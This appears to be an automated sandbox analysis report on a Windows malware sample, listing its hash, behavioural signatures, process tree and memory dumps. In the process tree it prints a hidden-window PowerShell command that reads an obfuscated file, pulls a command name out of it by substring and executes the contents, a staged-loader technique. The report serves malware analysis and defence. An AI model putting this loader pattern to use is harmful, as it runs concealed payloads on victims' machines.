Analysis
- max time kernel
26s - max time network
17s - platform
windows10-1703_x64 - resource
win10-20240404-en - resource tags
- submitted
10/07/2024, 21:52
General
- Target 24924df6e5f906dc670ba961f6988681536b9dc540d38c3ccbec44ddf3aa4eea.exe
- Size 883KB
- Sample240710-1q75csvaka
- SHA256 24924df6e5f906dc670ba961f6988681536b9dc540d38c3ccbec44ddf3aa4eea
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 1 IoCs
- Suspicious behavior: EnumeratesProcesses 12 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\24924df6e5f906dc670ba961f6988681536b9dc540d38c3ccbec44ddf3aa4eea.exe"C:\Users\Admin\AppData\Local\Temp\24924df6e5f906dc670ba961f6988681536b9dc540d38c3ccbec44ddf3aa4eea.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden " $Hvorunder=cat 'C:\Users\Admin\AppData\Local\forfrdelige\begyndervanskelighederne\Styrbart.Udd32';$Ladet=$Hvorunder.substring(79396,3);.$Ladet($Hvorunder)"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4488 -s 24443⤵
- Program crash
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_nlj0imbt.lnm.ps1
Styrbart.Udd32
memory/4488-27-0x0000000008120000-0x0000000008196000-memory.dmp
memory/4488-17-0x00000000730F0000-0x00000000737DE000-memory.dmp
memory/4488-19-0x0000000007750000-0x0000000007772000-memory.dmp
memory/4488-20-0x00000000079D0000-0x0000000007A36000-memory.dmp
memory/4488-21-0x0000000007A40000-0x0000000007AA6000-memory.dmp
memory/4488-22-0x0000000007AC0000-0x0000000007E10000-memory.dmp
memory/4488-25-0x00000000079A0000-0x00000000079BC000-memory.dmp
memory/4488-26-0x0000000008400000-0x000000000844B000-memory.dmp
memory/4488-15-0x00000000730FE000-0x00000000730FF000-memory.dmp
memory/4488-18-0x0000000007120000-0x0000000007748000-memory.dmp
memory/4488-42-0x0000000009060000-0x00000000090F4000-memory.dmp
memory/4488-43-0x0000000008FE0000-0x0000000008FFA000-memory.dmp
memory/4488-44-0x0000000009030000-0x0000000009052000-memory.dmp
memory/4488-45-0x00000000098D0000-0x0000000009DCE000-memory.dmp
memory/4488-16-0x0000000001260000-0x0000000001296000-memory.dmp
memory/4488-51-0x000000000A450000-0x000000000AAC8000-memory.dmp
memory/4488-13777-0x00000000730FE000-0x00000000730FF000-memory.dmp
memory/4488-13778-0x00000000730F0000-0x00000000737DE000-memory.dmp